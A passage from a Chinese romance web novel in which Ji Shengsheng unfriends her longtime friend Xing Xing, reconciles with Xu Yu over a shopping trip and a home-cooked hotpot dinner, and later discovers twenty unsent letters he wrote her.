发出这条消息后,纪声声忐忑地打车回家。
她不确定许余会不会来见她。
是她先离开的,虽说事出有因,实在来不及和许余提前说明情况,但回来以后,她不去见人,又想让许余来见她。
真的是自私得可以。
纪声声没想过比许余的信息先来的是邢星本人。
邢星似乎是瘦了很多,看起来比纪声声还憔悴。
“你怎么知道我回家了?”纪声声震惊于他出现的速度。
“你妈妈告诉我的。”
“所以,你找我有什么事情?”纪声声又看了手机一眼,还是没有许余的消息。
“我有个情况想要和你报备一下。”邢星挠挠头,看起来还挺不好意思地,“肖杨说让我把你微信好友删掉,不然就要跟我分手。”
纪声声:“……?”
“你也觉得很无理取闹是不是?”
“所以我想来问问你的意见,你觉得我跟她这样还能长久在一起吗?”
“她天天发神经,一会儿丢掉我家里你送的东西,一会儿又要我删掉有你的朋友圈,那天咱们出去吃饭的那条都删了……”
“这会儿又让我删你好友……”
邢星焦虑到咬指甲,他迫切地想要得到纪声声的支持。
结果还没抱怨完,就看见纪声声举起手机:“我删完了,你快删吧。”
邢星:“?你这人怎么这样?”
纪声声催促他:“快删,然后快走吧,我还有事情要忙呢。”
“你这个人,真的是,”邢星张牙舞爪地,“哎我说你们这么一个个的都这么牛啊,你就这么把我删了?”
纪声声扶额,她心里乱得很。许余再不回消息,她就要去找人了。
“不够吗?”
说着,把手机上的社交媒体过了一遍,把所有和邢星有好友关系的通讯录都清理了一遍。
邢星难以理解:“不是,咱俩也没有个什么见不得人的关系,至于做到这份儿上吗?”
“你先冷静一下,”纪声声敷衍地安抚,“咱们确实没什么见不得人的关系,所以完全可以删掉好友,以后有事就打电话,没事就少联系。”
纪声声顺便看了一眼微信,发现肖杨已经把她拉黑了。
“那以后就做不了朋友了?”邢星还在垂死挣扎,“你觉得咱俩为一个刚认识这么短时间的人就掰了值得吗?”
“那就不做朋友。”纪声声不明白,“你也不缺我一个朋友啊。”
或许她本来还想和邢星做朋友,但是她不想牵扯进去他的恋爱关系中。
本来就很难拉开距离,既然有人先给指了一条明路,她当然愿意理清关系。
“那我和她分手呢?”
“……关我什么事。”
“那我奶奶还邀请你周末一起吃饭呢?家长的关系也一起掰了是吧?”
纪声声挠头:“打住!长辈的关系是长辈的,我们小辈的关系是小辈的,不要混为一谈。”
“纪声声,我真是看错你了,我以为你会和我一起斗争到底呢!”说完,邢星气冲冲地摔门走了。
纪声声一只手按着太阳穴,另一只手立刻去看手机。
还是没有许余的消息。
她本准备立刻去许余家找他,但路过镜子,看着自己头发凌乱,状态低迷的样子,还是决定洗个澡收拾一下再去。
顺便理一理准备和许余说的话。
没想到刚冲完澡,邢星就打了个回马枪。
……
收到纪声声的消息时,许余正在开会。
成玉不知道发生了什么,只知道许余通知提前散会,就收拾东西离开了。
连句话都没留给他。
“说好的晚上一起去吃烧烤呢?”看着许余的车子开走,成玉给他发了信息。
“再说。”许余很快回复了他。
到纪声声家楼下时,许余已经发现邢星在楼上。
他认识邢星的车。
如果他的信息没有错误的话,纪声声刚刚回来。
看起来第一个想见的人并不是他。
许余走到邢星的车子边,看着上面的挪车电话,一一输在手机上。
电话很快接通,但没人接听。
许余点开邢星的号码,简单编辑几个字,发送过去。
在楼下等了几分钟,依然没人下来。
许余望着楼上纪声声房间的位置。
卧室和客厅都拉着窗帘。
……他们在做什么?
他不知道。
于是,他不再等待。
许余和邢星是在二楼的平台处遇见的。
许余停住了脚步,特意留给邢星时间发现他、记住他。
邢星似乎感觉得到异样,目光停留几秒钟,还是立刻下楼走人。
到纪声声门前时,许余听到水流的声音。
她在洗澡。
水声停住,许余按响门铃。
几秒钟后,他听见一阵脚步声,随后纪声声出现在他眼前。
“我说了我有重要的事……”看见许余的脸,纪声声迅速消音。
几乎是立刻意识到自己此刻还没吹干头发,穿着的睡衣也不是最好看的那件……
房间还没来得及收拾,行李还堆在门口……
纪声声想关门,又不敢。
只好干瘪地:“你来了……”
“嗯。”
纪声声盯着许余。
无论什么时间什么地点,只要看到许余,她都觉得好心动。
或许她早该发觉自己的真实状态。
“刚回来?”被她这样盯着看,许余不躲避,也不进门。
“嗯……”
“一回来就想见我么?”
纪声声鼓起勇气:“一回来就想见你!”
所以落地就迫不及待地发了消息。
“只见我?”
“嗯!”纪声声重重地点头。
“你总是这么没有诚意。”许余自嘲地笑了。
“我有!”
怎么能这样评价她呢……?
“……我这几天处理了很多事情,只要一有时间就想我们的事,想怎么解决那些问题,想该如何跟你开口,想要和你说什么。”
“虽然你也没有说过你喜欢我,也没说过要和我在一起。”
“但是你靠近我,你要我给你答案,和三年前一样,在你没有任何承诺的时候,我就先一步做好了如果你愿意,那我就愿意的准备。”
“我想了很多要和你说的话,很想见你。”
“……见到你以后,你什么机会都不给我,不听我说,就这样评价我。”
她很累。往返的车程,颠簸的路途,大量消耗的心力和情绪,熬夜画画带走的精力和体力。
刚才和邢星那一遭冲突又带来情绪的大起大落。
现在终于见到许余,他却是这样。
她说话一向很慢。一口气说这么多感觉要缺氧。
头发不断地打湿睡衣的领口,感觉到自己太过狼狈,纪声声抬手要去关门。
许余没有反抗,“咔哒”一声后,门完美地横亘在他们中间。
门真的关上,纪声声有一秒的错愕。
她只发了一条消息,许余就来见她了。现在她又将人拒之门外。
正犹豫如何是好,纪声声听见敲门声。
许余的声音在门外:“对不起。不要伤心。”
纪声声重新打开门,有些心虚地看着许余:“……那你认真给我道歉。”
“是我的错,我不该这样说你。”
“你做了很多努力,很辛苦了,我还计较那些细枝末节,是我不对。”许余诚恳地。
“……那我原谅你了。”
“这么轻易么?”
“……你知道我不会真的生你的气。”
“先去吹头发?”许余看着纪声声还在滴水的头发,想进门,“天冷了,会感冒。”
“……好吧。”纪声声刚要转身,已经被许余捉住手腕。
等她反应过来时,吹风机已经在许余手上。
许余的手指无意扫过她的脸颊和脖颈。
纪声声侧头看向许余,又在和他目光交错时快速移开。
终于等到头发吹干,吹风机的嗡嗡声停下来,房间里重新归于安静。
许余把线收拾好,余光扫过洗衣蒌,在角落看见一件男士短裤。
“想和我说什么?”
许余坐在纪声声对面,看着她面红耳赤、神情恍惚的样子。
……她竟然想不起来了。
临时组织语言就会丢三落四。
纪声声仿佛听得见自己的心跳:“……我说想见你,你就会来么?”
说完便盯着许余的反应。多希望他点头。
“嗯。”如她所愿,许余真的同意了。
“那,那我经常想见你,你能经常来吗?”又得寸进尺了一些,纪声声默默等待许余的反馈。
话音落下,房间里只剩良久的沉默,久到纪声声以为只有自己一个人。
“不能经常也……”纪声声想给这件事一些转圜的余地。
“可以。”许余轻松地答应。
“真的吗?”纪声声激动地站起身来。
“所以……”许余顿了顿,“你想见我做什么?”
纪声声莫名耳朵一热。
她
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没想过要做什么,她只是想见许余。
“只是想见我。”许余好心地说出她的潜台词。
“是……”
“那怎么都不敢看我?”
“因为也不是只想见你……”纪声声掰着手指头数着,“也想和你一起吃饭、看电影,还想和你牵手、散步、拥抱,想和你躺在一起聊天,我有好多事情想给你讲……”
看见许余的反应,纪声声才意识到自己莫名其妙把什么心里话都说了出来。
“去换衣服。”许余站起身。
“啊?”纪声声不明白。
“不是想一起吃饭?”许余看了眼时间,还来得及把她想做的事情都做一遍。
“好的。”
纪声声赶忙去换衣服。
她的房间是一个开间。除了卫生间、厨房和现在堆放旧物的小房间以外,没有严格的客厅和卧室。
简单来说,她的卧室和客厅,只有一扇她自己设计的珠帘。因为是独居,她特意设计成不阻挡视线的样式。
显然,许余对她的房间不熟悉,还没有意识到这一点。
“……我去卫生间换。”纪声声尴尬地朝许余身后指了指。
“好。”
刚把睡衣拖掉,纪声声突然发现自己并没有带要换的衣服进来。
其中还包括内衣。
不知道是什么心绪教唆了她,纪声声轻轻拉开一个门缝儿,小声呼唤许余的名字:“……能不能帮我拿一下衣服?”
许余的脚步顿了顿。
他只是顺着纪声声的声音看过去,就看见半只肩膀。移开视线后,听见纪声声小声地补充:“在衣柜最右边挂着的三件……”
她习惯洗澡前准备出第二天要穿的衣服。
“好。”
推开衣柜的门,许余的目光扫过纪声声所说的那“三件衣服”——卫衣、牛仔裤和一件藕粉色的蝴蝶结蕾丝内衣。
从许余去拿衣服,到他们隔着浴室的门“交接”衣物,到换好衣服出来,纪声声整个心跳暴走。
她不知道许余在想什么。
她脑子里都是一些算不上干净的东西。
幸好出来见到许余,气氛还算正常。
“……谢谢。”
“不客气。”
“……那我们出去吃饭?”
“好。”
纪声声以为许余要去商场吃些连锁店,没想到却是带她去了b2的超市。
“想吃什么?”许余在超市门口推了一辆车。
纪声声想了想,有些犹豫:“我做甜品和饮料还可以,我做饭很难吃的。”
“想吃什么?”许余耐心地重复,“我来做。”
她想吃……?
其实她什么也不想吃,她只是想和许余一起吃饭。
“……想吃火锅,还想吃小龙虾。”感觉自己想得有点多,纪声声迟疑,“可以么?”
许余换了一只手推车,左手牵住纪声声的手腕。
感受到对方的僵硬,许余温柔地提醒:“不是想牵手?”
“……想的!”
纪声声迅速地抽走手腕,熟练地摸到许余的掌心,五指插》》入许余的指缝,感觉到掌心和掌心之间的距离,还用指肚轻轻敲了敲许余的手背。
感受到许余扣住她的指缝,掌心贴住掌心又收紧,纪声声从脸颊红到胸口。
她努力放平心情的这几秒钟,许余已经牵着她往火锅食材区的方向走了。
不太用她去挑选,许余还记得她爱吃什么。
走出食品区,纪声声本来准备往收银台的方向去了,结果被许余带到床品区。
“你要买吗?”纪声声看着许余表情凝重的样子。
“床单什么时候换的?”
“上次出门前。”
“嗯。”
纪声声看着许余拿起两套纯色真丝四件套放进购物车。
“……这是给我买的?”纪声声惊讶。
“是。”
她回国以前,邢星在附近喝醉酒曾在她这里住过一晚,她还因此丢掉了那天的床铺、褥子等等所有邢星用过的东西。
尽管如此,她还有两套全新的床品,完全没有这个需求。
如果许余要留宿……是可以用她现有的床品的。
“是你准备和我一起用的吗?”纪声声大胆说出自己的猜测。
“是。”许余给予她肯定的答案。
和她一起用需要买新的?
她都是独居,又没有和其他人一起用过。
“……?”纪声声揉揉额头,“是只能和你一起的时候用吗?”
她自己的时候呢?
“不然,你还想和谁一起用?”
20. 20
“我发誓我自己的时候也不用。”纪声声举起三根手指结束这场莫名其妙的对话。
结账以后,许余去归还购物车,纪声声则拎着袋子在超市门口等待。
还车并不用很长时间,许余站在离纪声声两条人行道的对面,他只是想看纪声声等待他的样子。
许余能感觉到纪声声的情绪。
她今晚很开心。
等待他时四处张望,脚步轻快地踱来踱去,脚尖时不时踮起来。脸颊红彤彤的,两个梨涡深深浅浅含着笑意,像有隐藏不住的开心事。
纪声声独自离开酒店的那天,他打了十几个电话都没打通。
然后是十四天的失联。
十四天后,只有一条想见他的微信消息。
没有原因,没有理由,没有解释。
但他抵抗不了。
他几乎完全没有抵抗。
有一点生气,说了一句重话,把纪声声弄哭。
他完全没有办法。
察觉到纪声声的踱步频率变快,变得有些不耐和着急。许余穿过步道,走动纪声声面前,伸出手示意纪声声把袋子给他。
然后,纪声声非常本分地把自己的右手放在了他的手心里。
他哑然失笑。
只能伸出右手去拎袋子。
然后,他看见纪声声又疑惑地把右手放在他的右手手心,嘴上嘟嘟囔囔:“难道你喜欢这样牵……?”
他又能怎么办呢?
纪声声是看见许余重新抬起左手,牵住她的右手,又将她手里的袋子接过,才明白许余什么意思。
有些难为情地想抽回手,但许余忽然怕她逃跑似的攥得很紧,她没有成功。
“……你为什么都不和我说话?”纪声声不明白。
“回去说。”
“好。”
结果回去也没有说。
纪声声看着许余走进厨房,沉默地开始准备火锅的食材,赶忙跟着他走进去。
许余娴熟地洗菜、切菜,她搭不上手,只能去把碗筷准备好。
看着火锅食材准备好,许余已经准备做小龙虾,纪声声忽然想起家里有一件男士衬衫。
那是很久以前,她逛商场发现打折时购买的,但号码太大,她穿着空空荡荡实在难以搭配,就一直闲置。
许余身上穿着白色毛衣开衫,她不想他弄脏衣服,也不想他沾上难闻的油烟味。
“你要不要换这件?”纪声声抱着衣服走到许余身后。
许余回过头看见她怀里的东西时,表情有一瞬的不愉快。
想到许余有洁癖,纪声声赶忙解释:“……是新买的,没有穿过的。”
刚才那一瞬似乎只是纪声声的错觉,她看见许余面色如常,张开双臂:“帮我。”
他手上有水。
“……好。”
他本意只是让纪声声帮他穿上,没有想过纪声声会错意。脸和脖子涨得通红,一双眼睛瞪得圆溜溜地盯着他,恐怕看到别的不该看的。
她脱下了他的衣服,又笨拙地把衬衫帮他穿上。
非常认真地扣住了每个扣子,从他的喉结到锁骨到腹部,都留下她手指的温度。
“纪声声。”许余无奈地。
“啊?”扣到最后一个扣子,纪声声快速松开手。
“不能再靠近了。”
如果刚才他没有看见邢星,或许还可以。
但是现在不行。
他有底线。
他可以接受招之即来挥之即去。
可以做纪声声的地下情人。
可以不见光。
但仅限于柏拉图。
至少是在解决掉竞争对手之前。
他已经堕落至此,不能万劫不复。
许余看见纪声声脸上的失落,他几乎就要收回这句话,又看见她快速调整好心情,露出一个笑容:“收到!”
吃晚饭的过程中,纪声声像什么负面情绪都没有感受到一样,和许余讲述了最近两周发生的事情。
吃过饭以后,又把许余送下楼,看着他驱车离开。
纪声声忽然想起来忘记问许余她的行李在哪里,那天她通过前台留了字条给许余。在字条里简单说明了情况,拜托许余帮忙把她的行李箱带回。
不知怎么的,她才反应过来她和邻居的大门中间放着一个快递箱子,看起来和她的行李箱大小差不多。
求证过后纪声声才发现,前台不知是交接失误,还是理解错了她的意思,居然没有把字条转交给许余,而是向许余询问了她的地址后,直接把她的行李箱邮寄过来。
确定许余到家以后,纪声声才忍不住:“所以,前台只和你要了我的地址,没有给你什么东西么?”
“没有。”
纪声声:“……”
所以,在许余的视角,是她不告而别。
大约是真的没有缘分,他们之间怎么能横亘着这么多误会。
“我留了字条的,”纪声声解释,“我怕那个时间给你发信息影响你休息。”
幸好她当时有拍照。
……
祝晓丹是紧接着许余身后来的。
放下包,看见纪声声正在洗新买的四件套,好奇地:“刚才那辆是许余的车?!”
她是因为刚下夜班,所以才这个点儿来找纪声声。
许余凌晨两点钟从纪声声家离开,总不能是去三班倒。
“对。”纪声声点头,没想好从哪里说起。
“所以……他没有表白,你又和他在一起了?”听纪声声简单讲了最近发生的事情,祝晓丹恨铁不成钢。
纪声声摇摇头:“我只是最近觉得生命好脆弱。能拥有的时候要互相珍惜。至于表白,我不想在意这些了。”
只要他们是靠近彼此的就够了。
其实,晚上许余说完那句话,她有一瞬间很不解。
在那之前,一整个晚上她都感觉好幸福,在超市门口等许余回来,和许余牵着手逛超市,看着许余的背影在她眼前……好像她之前想要的东西忽然不费力气就全部得到了。
然后,她以为会更加靠近的时候,许余阻止了她。
把这件事也讲述给祝晓丹以后,纪声声自我开解:“其实这样进展已经很快了,可能因为我是急性子,许余还需要时间。我现在拥有的已经很多了。”
“你别骗自己了!”祝晓丹才不相信,“男人真想跟你有什么,他今晚都不会走!”
纪声声:“……”
倒也不用这么直白。
她能感觉到,许余就是没有“那种”需求。
“总之,我知道自己在做什么,现在这样也不错,你不用为我担心。”说完,纪声声补充,“我相信许余的为人,我愿意等他敞开心扉接纳我。”
说完,纪声声忽然想起什么似的:“你记不记得有一年我过生日,就是我和你说许余要陪我过生日的那次?”
“记得啊,他爽约了。”祝晓丹看着纪声声冰箱里分装成两份的小龙虾,拆开一份,“你哭了好几天。”
“……还有别的细节么?”纪声声努力回忆,“我只记得草莓蛋糕了。”
“记得啊,邢星不是和你打赌,说许余肯定不
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会来,如果许余不来,让你把草莓蛋糕给他吃?”
纪声声:“?”
她完全不记得那天还有邢星的事情。
“……他怎么确定许余来不来。”
“他不确定啊,所以他和你一起去你们学校了。我记得你们两个是一起出发的,后面就不知道了。”
纪声声:“……”
她跟邢星太过熟悉了,熟悉到他好像她房间里的摆件一样。可能天天都在,但她从没在意。
“好吧。”
祝晓丹的心思都在小龙虾上:“哪里买的,好好吃啊。”
“许余做的。”纪声声还在想生日的事情,随口说了出来。
祝晓丹立刻跪下:“老天啊我再也不说许余坏话了。如果他能再爱你一些,我真觉得他是个完美无瑕的男人了。”
纪声声:“……”
等祝晓丹走了以后,纪声声去储物间找到许余还给她的那个盒子。
之前没有注意过,这个盒子居然很轻。
打开盒子,纪声声瞬间愣住。
里面整整齐齐地摆着二十个信封,每个信封都标着序号。
放下这些信的时候,已经快七点钟了。
原来她支教期间的每封信都有回应。而许余没有邮寄的原因,是第一封信邮寄后不知道在哪个环节丢失了。
从她后续的信里,许余发现她没有收到回信,所以后面的每一封都没有再寄出。
纪声声把这些信件收拾好。
许余写给她的内容不多,对于她在那些信里不停陈述地思念,更多是安抚。
不过也足够了。她从许余那里得到的已经足够多。她已经做好准备去“还债”。
简单洗了个澡,纪声声数了数下午开会的参会人数,提前准备甜品和饮料。
下午主要是说周边合作的事情,许余不参会,所以她把给许余做的那份单独装进一个袋子里。
纪声声不确定在许余的公司里要不要表现得很熟。但以她对许余的了解,他大概不太愿意。
所以,在许余有明确表示之前,她还是和许余保持着同事的距离比较好。
“醒了?”正想着,她就收到许余的消息。
“醒了!”纪声声快速回复。
“下午几点开会?”过了几分钟,许余才回复。
“两点半。”
“嗯。我去接你。”又过了几分钟,许余的消息再次发过来,“中午想吃什么?”
许余的消息回复得很慢,纪声声看了眼时间,猜测许余还没有出发去公司,便试探着打了个语音过去。
“怎么了?”许余没有接听,挂断后又发来消息,“成玉在。”
“没什么,”纪声声想了想,还是把准备在电话里说的那些话发给许余,“我只是想问你,以后是可以经常一起吃饭吗?”
许余没有回。
因为手机被成玉抢走了。
成玉气死了。
两周前他们就说好今天晚上吃烧烤,许余临走前,他还提醒了一次。
没想到许余一整晚直接失踪,留下他把外卖点到许余家门口,又没有钥匙进门,只能坐在大门外独饮一瓶可乐。
等许余到凌晨一点半,都没见到人。所以今天一大早,他就杀来办公室要个说法。
“你忘了烧烤的事情了吗?我在你家!你没回家!你昨天留宿纪声声家了。”
“你不是说你有底线吗许余?”
“你的底线呢?你们才见几面啊,你就留宿了。”
“哪天我怕你俩孩子都生了,你底线还焊在身上。”